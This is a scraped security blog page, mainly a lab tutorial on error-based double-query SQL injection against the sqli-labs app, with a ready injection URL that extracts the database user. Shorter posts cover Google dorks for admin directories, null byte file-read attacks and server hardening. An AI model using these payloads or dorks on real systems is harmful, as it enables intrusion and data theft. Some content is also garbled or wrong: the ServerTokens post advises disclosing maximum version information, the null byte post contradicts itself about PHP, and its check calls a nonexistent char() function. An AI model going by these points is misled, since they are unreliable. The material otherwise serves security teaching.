DOUBLE QUERY INJECTIONS DEMYSTIFIED

03:41 Posted by tudouya No comments
In the last article of the series, we started to explore the world of SQL injections by discussing different types and using the test bed available at https://github.com/Audi-1/sqli-labs. You can review the last post here.
Now, we will explore SQL injections even further and discuss Error based Double query injections, which are sometimes called sub query injections. Some people also refer to them as blind injections but I prefer to call them error based, as we would be using the errors to dump out the information to us. This would also go along the classification scheme we discussed in part1. I will be using the first post as a base and refer to it to explain the next part.
For this post, we will use Less-5 and Less-6 of the SQLI-LABS test bed.
Let’s start with the same enumeration process as discussed in the last article and see how it goes from there. We observe that the Less-5 and Less-6 look similar to the earlier lessons but with a very subtle difference. In earlier lessons, we were getting back username and password on the screen, but here we only get the message “You are in………”
Even if we iterate over the parameter ID with values from 1 to 14 we get same response.
ANALYSIS OF THE ENUMERATION
ID=1 => You are in………
ID=2 => You are in………
ID=3 => You are in………
ID=4 => You are in………
ID=5 => You are in………
ID=6 => You are in………
ID=7 => You are in………
ID=8 => You are in………
ID=9 => You are in………
ID=10 => You are in………
ID=11 => You are in………
ID=12 => You are in………
ID=13 => You are in………
ID=14 => You are in………
ID=15 => no output
ID=0 => no output
ID=99 => no output
ID=string => no output
RESULT OF ENUMERATION:
The application has 14 different entities; it returns “You are in…” on a valid entity, but returns a blank response on an invalid entity.
FUZZING:
As explained in the previous article, we fuzz the application to see if we are able to get traces of injection possibilities and find out how the application reacts to our malicious inputs.
Integer or String test:
Because the input looks to be integer type, therefore we try to test if the input is a real integer or if it also accepts string. For this, we try to inject a string into the parameter ID and examine the response. We observe that the application does not crash but it treats the string input similar to non existent values.
Some other injections could be as follows:

;
)
(
aaa
Using these, we observe that our application crashes, giving out a MySQL error.
Less-5
Less-6
So by injecting a single quote, we observe that Less-5 produces a MySQL error whereas Less-6 Does not. The reverse happens if we inject double quotes instead:
IMPORTANT NOTE: From enumeration and the fuzzing process, we learned that the database is not reflecting back any output to the webpage, therefore we cannot use the UNION SELECT to dump the database information.
The only information we see reflecting back from the database on the webpage is in the form of MySQL errors. Therefore, we need to craft our queries in such a way that we are able to dump the database information through errors. The criteria for the query is that it’s syntactically correct and accepted by db driver and passed on to the backend database for execution. This query should then produce a logical error and dump information as an error string with the error returned.(Confused? Don’t worry, we will clear it shortly)
Guessing the Query:
From the fuzzing we did, we learned some useful information about the application. Now it’s time to guess the backend query. We observed that the Less-5 produces an error with the addition of a single quote, and Less-6 produces an error with the addition of double quotes. To assure ourselves that only quotes or double quotes are used to wrap around the variable in original query, we try to break the application with the addition of the escape character .
Less-5
On Less-5, let’s look at the part of the error dumped on the screen containing 1, which is 
near ‘ ’1’ LIMIT 0,1′ at line 1.
We observe that, with our input of 1, a single quote is visible after that, indicating that single quotes are used as a wrapper for the strings.
Less-6
On Less-6, let’s look at the part of the error dumped on the screen containing 1, which is 
near ‘ “1” LIMIT 0,1′ at line 1.
We observe that, with our input of 1, a double quote is visible after that, indicating that only double quotes are used as a wrapper for the strings.
COMMENTING OUT REST OF QUERY
Since we discovered that Less-5 uses single quotes as string boundaries, we now inject a quote by adding comments at the end to fix the query.
ID=1 ‘ –+
For Less-6, we can use this injection to fix the query. 
ID=1″ –+
Therefore, after effective guessing, the query would be:
Less-5
SELECT * FROM table_name WHERE ID=’Value we inject’ LIMIT 0,1
Less-6
SELECT * FROM table_name WHERE ID= “Value we inject” LIMIT 0,1 
UNDERSTANDING SUBQUERIES:
Before we proceed further with SQL injection, we need to understand the basics of subqueries. Subqueries can be defined as putting a query inside an existing query, or cascading one query inside another. The objective is to dynamically produce the result of the inner query and then get the result of the final query. Let’s try to understand it with an example.
Select concat((select database()));
In the above query, the blue part is the internal or sub query which gets evaluated first, and whose result is then passed to the concat function. This returns a string equivalent to the current selected database name which is then evaluated by the outer red colored Select keyword. This part evaluates a string (constant) which is actually name of the currently used database.
SQL INJECTIONS
In this type of query injections, we will be using specific functions available to the backend database. If you are not familiar with them, please look them up before proceeding.
1. Rand()
2. Floor()
3. Count()
4. Group by clause
Some great researchers figured out that using Group by clause along with an aggregate function like count(*) produced an error message dumping a part of the query as an error message, which henceforth evolved double query injections.
Let us start with basic building blocks and proceed to build a complete and complex query.
We will perform these experiments on the MySQL client and directly interact with the database to understand the concepts.
#mysql -u root –p toor (toor is default password of the MySQL root account on backtrack; change it as per your deployment.)
mysql> use security; – Name of our database
mysql> SELECT concat((select database()));– Dumps out current database name as string
mysql> SELECT concat(‘string1′,’string2′);

Dumps out the two strings as one big string.
(Note: It does not matter if you use single quotes or double quotes to wrap your query.
Now let us look at the functions mentioned above in the article.
Mysql> Select rand(); – Returns a random value less than 1 every time it is run.
Mysql> Select floor(1.1123456); – Returns an integer value and discards all decimal values by default.
We can now group these functions together.
mysql>SELECT floor(rand()*2); – Create a random value, multiply it by 2 and then floor it to get the result. This would be either 0 or 1. Try it couple of times and see for yourself.
Now let us combine the things we learned so far to make some useful output. Let’s execute the following query:
Mysql>SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
Analyzing the query:
We have here a nested query in which we wrapped a query inside another one. When this query executes, it first evaluatesSELECT DATABASE(), along with RAND()*2, whose output is used in FLOOR(), thereafter concatenating the output, giving a string which ends with 0 or 1.
Now if we query this string against any standard database table from MySQL, it will return SECURITY0 or SECURITY1 randomly.
Now let’s add the GROUP BY function to the query. This time, let’s try to use information_schema.tables or information_schema.columns tables to dump the results. The columns table would dump some 100+ entries which are good to check the random output. This group by clause hands us the distinct entries from the column.
mysql> select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
The label or alias “a” is added to display the Column name as “a” which can be referenced by GROUP BY Clause.
IMPORTANT:
Henceforth, the inner query SELECT database() can be replaced by any other query which we would like to get as a string output in MySQL error, such as SELECT version(), user(), datadir() or complete enumeration of the columns, tables or other databases as discussed in part 1.
Time to get the magic going.
mysql> select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
Gets us an error which has our string as part of error:
ERROR 1062 (23000): Duplicate entry ‘security1′ for key ‘group_key’
Kudos again to all those brilliant minds who found the deadly combination of Aggregate function with Group by clause and the repeating values that makes a syntactically correct query which when executed produces a runtime error.
Let us try to change the inner query to test something else.
mysql> select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
Some fancy inputs can be concatenated to distinguish a trailing 0 or 1 from our string. 
mysql> select count(*), concat(‘~’,(select user()),’~', floor(rand()*2))as a from information_schema.tables group by a;
Error: ERROR 1062 (23000): Duplicate entry ‘~root@localhost~1′ for key ‘group_key’
Let us try to implement this logic through the front end web application. But before we proceed there, we need to look at another aspect called Derived table. The complete query we used above to produce an error can be used as a table name in a query, something like:
select 1 from (table name);
Why we need to do this, you can easily follow the explanations from the video lessons below, which includes a complete walk through of this article:
  1. http://www.youtube.com/watch?feature=player_embedded&v=zaRlcPbfX4M
  2. http://www.youtube.com/watch?feature=player_embedded&v=9utdAPxmvaI#!
mysql> select 1 from (select count(*), concat(‘~’,(select user()),’~', floor(rand()*2))as a from information_schema.tables group by a)x;
ERROR 1062 (23000): Duplicate entry ‘~root@localhost~0′ for key ‘group_key’
http://localhost/sqli-labs/Less-5/?id=1′+AND+(select+1+from+(select+count(*),+concat(‘~’,(select+user()),’~',+floor(rand()*2))as+a+from+information_schema.tables+group+by+a)x)–+
Replacing the internal query with what we want to extract gets us our output in the form of MySQL errors.

APACHE SECURITY CONFIGURATION: SERVERTOKENS

21:30 Posted by tudouya No comments
ServerTokens is an APAACHE directive that determines whether the used version of APACHE should be mentioned in the HTTPrespond. It is highly recommended to disclose as much information as possible about your web server. Exposing APACHE version is not a security risk by itself and will not stop a determined hacker but it will protect you if an attacker is running an automated scan to discover potential sites running a particular version. This scenario is possible if for example a new vulnerability is discovered and the attacker needs to quickly locate as many vulnerable systems as possible.

Setting ServerTokens

The below snippet is taken from the Apache website and will explain the different options:
ServerTokens Prod[uctOnly]
     Server sends (e.g.): Server: Apache

ServerTokens Major
     Server sends (e.g.): Server: Apache/2

ServerTokens Minor
     Server sends (e.g.): Server: Apache/2.0

ServerTokens Min[imal]
     Server sends (e.g.): Server: Apache/2.0.41

ServerTokens OS
     Server sends (e.g.): Server: Apache/2.0.41 (Unix)

ServerTokens Full (or not specified)
     Server sends (e.g.): Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2

GOOGLE HACKING CHEAT SHEET

21:21 Posted by tudouya No comments
Google Hacking Cheat Sheet
information * simplified 

Asterisk stands for any word. Matches information security simplified as well as information integrity simplified.
"information security simplified" 

Phrase match. Matches the three words in the exact order.
security -physical 

Exculdes results containing the word physical.
security -site:ultsec.com 

Excludes results from the ultsec.com website.
~information security 

Synonym search. Searches also for data security. data is synonym to information
information OR data security simplified 

Searches for pages matching information security simplified or data security simplified. The pipe operator | has same effect as the OR keyword.
"information safety" OR "data security" 

Searches for pages matching information safety or data security. The pipe operator | has same effect as the OR keyword.
link:utlsec.com 

Find pages linking to ultsec.com
security site:ultsec.com 

Search for pages only in the ultsec.com domain
security site:.org 

Search for pages only in the .org domain
related:ultsec.com 

Find pages similar to ultsec.com
information | data security simplified | explained 

Search is done from left to right. This will search for pages having either the word information or data, and having the word security and one of simplified or explained. Boolean operator precedence is not applicable in Google search. Left to right evaluation only.
intitle:"information security" simplified "and explained" 

Returns pages having the phrase information security in the title and the word simplified anywhere and the phrase and explained also anywhere.
allintitle:information security simplified 

Returns pages having the words information security simplified all in the title.
intext:"information security" simplified "and explained" 

Returns pages having the phrase information security in the text and the word simplified anywhere and the phrase and explained also anywhere.
allintext:information security simplified 

Returns pages having the words information security simplified in the text part of the page.
inurl:"information security" simplified "and explained" 

Returns pages having the phrase information security in the url and the word simplified anywhere and the phrase and explained also anywhere.
allinurl:information security simplified 

Returns pages having the words information security simplified in the url part of the page.
inanchor:"information security" simplified "and explained" 

Returns pages having the phrase information security in the text part of one or more link on the page and the word simplified anywhere and the phrase and explained also anywhere.
allinanchor:information security simplified 

Returns pages having the words information security simplified in the text part of one or more links on the page.
filetype:pdf 

Returns pdf files only.
cache:ultsec.com 

Returns the cached version of the webpage.
define:secure 

Returns definitions of the word.
info:ultsec.com 

Returns info about the webpage.
numrange:14999-15001 site:ultsec.com 

Returns pages containing numbers between 14999 and 15001 on the ultsec.com
14999..15001 site:ultsec.com 

Returns pages containing numbers between 14999 and 15001 on the ultsec.com
information security daterange:2455841-2456841 

Restricts the results to pages indexed between 2455841 and 2456841. The dates are in Julian form.
intitle:index.of "parent directory" 

Locating directory listings
intitle:index.of name size 

Locating directory listings
intitle:index.of.admin 

Locating admin directory
intitle:index.of inurl:admin 

Locating admin directory
"Apache/" "server at" intitle:index.of 

Locating Apache servers on the internet using directory listings
"@ultsec.com" 

Search for emails ending domain ultsec.com. Google ignores @ sign which results with alot of false positives.
site:ultsec.com 杝ite:www.ultsec.com 

Locating subdomains

WEB SERVER IDENTIFICATION

21:15 Posted by tudouya No comments

Webserver

Before we explain the different ways by which we can identify the running web server, the true identity can be hidden or obfuscation. So we can never be 100% percent sure of the results. Web server obfuscation is a good security practice and should be used as a defence in depth measure. There are two major ways to obfuscate web server identity

1) Web Server Obfuscation Through Proxy

In this senario, a reverse proxy server is used to forward
Most scanners can easily identify the type of the running web server. Usually sending an HTTP GET request is enough to reveal the identity if the web server. A sample GET request is displayed below.
//GET Request
GET /index.html HTTP/1.1
Host: www.somewebsite.com



//GET Response
HTTP/1.1 200 OK
Date: Mon, 14 Jan 2013 06:00:00 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
Content-Type: text/html; charset=UTF-8
Content-Length: 200
Connection: close
//Content

WEB APPLICATION SECURITY TESTING VS ENVIROMENT SECURITY TESTING

21:13 Posted by tudouya No comments
Web security testing is comprised of two parts: Application testing and Environment testing.

Application Testing

Application testing is simply testing the behavior of the application code itself. This typically includes SQL Injection and Cross Site Scripting among others. The state of the server and its configuration is not directly tested for, though application behavior is dependent on it. Web Application testing is done using by only sending HTTP traffic to the designated application port (usually 80). The traffic will be malformed off course to test how the application responses. Trying to bypass application controls like authorization, authentication, access control and business logic by means of HTTP traffic only is typical of application testing.

Enviroment Testing

Environment testing assesses the state of the server without taking into account the web application running on it. This typically includes testing for: open ports, OS fingerprinting, running services, installed software, OS vulnerabilities and configuration settings of OS and running applications. The environment testing attempts to look for vulnerabilities that can be exploited on the machine without taking advantage of application vulnerabilities which may or may not exist.

Enviroment Testing before Application Testing

Environment testing is almost always done before application testing for two reasons. First, environment testing is an automated process. There are many software out there that can perform this task without human intervention. Because this task is automated, it can finish very fast and the invested effort is minimal. Application testing can't be fully automated since it requires understanding of the application logic. Some tests like SQL Injection and XSS can be partially automated but all in all, human supervision is necessary. That's why we always start with environment testing before going to application: easier and faster. The second reason is that usually server vulnerabilities are more effective and direct in most of the cases. A server exploit allows for much more control on the server including application code, while application exploits are usually specific to applications but can be leveraged to compromise the whole server in many cases.

Legal Issues and Shared Hosting

The most important aspect in "application VS environment" testing is the legal part of it. As you are aware, information security testing is illegal unless authorized. If the web application in question is hosted on a company owned server there is nothing to consider. Things get complicated when the website is hosted on a shared server with other websites. In this case environment testing might be an issue since you will need to test features common to all websites hosted on that server. In this case all concerned parties should give their approval. Testing will be restricted to that of application only. Application testing is always fine. Consider the analogy with a physical security company that evaluates security measures in buildings against theft. If you live in your own house, you are free to give full authority to the company to evaluate the situation, but if you live in a building with other people, you can only grant the company authority to test the locks on your own door but not that of the main building entrance.

WEB SECURITY TESTING COOKBOOK

21:10 Posted by tudouya No comments

1) Enumerating Servers and IP address Discovery

Use tools like DNS lookup and WHOIS to discover all servers related to the website and their IPs.

2) Determining Hosting Type

For every discovered server, determine the type of hosting so you can decide whether Environment Scanning is a possibility.

3) Enumerating Running Services and Open Ports

For every discovered server, identify the server type and check what services are running on it.

4) Enumerating Vulnerabilities

For every discovered server/service, check for any associated vulnerabilities and available exploits.

5) Platform Discovery

Determine the underlying web server / programming language used.

6) Platform Vulnerabilities

Check for vulnerabilities and their associated exploits for the platform in question (web server/programming language).

7) Building Website Map/Tree

Build a map of the website's directories and files.

8) File upload

Check if you can upload files to the server using FTP and investigate potential problems

9) Cookie Poisoning

Test for Cookie Poisoning.

10) Client Side Validation Only

Check whether validation is only done on the client side.

NULL BYTE ATTACK

21:08 Posted by tudouya No comments
The Null Byte Attack is a type of attack that takes advantage of the inconsistent handling of the Null Byte character among different languages. The Null Byte is a special byte that indicates the end of a string of characters. In C and C++ programming languages the Null Byte character signals the end of the string. When the interpreter encounters the Null Byte character, it knows that it has reached the end of the string. In mutlibyte languages like PHP, the Null Byte character has no special meaning. PHP treats it as any other encoded character and does consider it as the end of the string. The different behaviour in handling this character makes the Null Byte attack possible as we will see below. Example:
Consider a script that allows users to download images only from the server.
readfile($_GET["image"] . ".jpg");
The script accepts a parameter which is the image name without an extension. The programmer appends the .jpg" extension at the end of the image name to make sure only image files are being downloaded. An attacker sends the following URL:
http://www.mysite.com/downloadimage.php?image=password.txt
Notice the  at the end of the request. This is the URL encoding of the null byte. When the PHP script receives this request, it tries to execute the following command:
readfile("password.txt\0.jpg");
The \0 indicates the Null Byte. In the URL it is represented as  because it is URL encoded but the actual representation is \0. Using\0 directly in the URL will not pass the Null Byte chacacter. It has to be encoded first.
The readfile function will send the submitted file name password.text\0.jpg to an a C-language function that will return the file. The C-language function will notice that there is a Null Byte character and will assume that the requested file is just password.txt because it will ignore everything after the Null Byte. The attacker may actually retrieve now any other file he wants.

Protecting Against Null Byte Attack

To protect against this type of attack, you need to reject or sanitize content that contains the Null Byte. It is hard to think of any situation where a user needs to supply a Null Byte as part of the request so it is best to reject the data instead of trying to make it valid. It is commonly known that correcting user input may lead to unexpected problems. You can check for the existence of the Null Byte in PHP using the function below:
function containsNullByte($s)
{
     if(strpos($s, char(0)) === false)
          return false;
     return true;
}

PHP SECURITY CONFIGURATION EXPOSE_PHP

21:00 Posted by tudouya No comments
expose_php is a PHP directive that determines whether the used version of PHP should be mentioned in the HTTP respond. It is highly recommended to switch it off to hide the PHP version. Exposing PHP version is not a security risk by itself and will not stop a determined hacker but it will protect you if an attacker is running an automated scan to discover potential sites running a particular version. This scenario is possible if for example a new vulnerability is discovered and the attacker needs to quickly locate as many vulnerable systems as possible.

Turning expose_php off

To turn expose_php off locate expose_php inside the php.ini file and changed it as shown below. If you can't locate it inside the file you need to add yourself.
expose_php = 'off'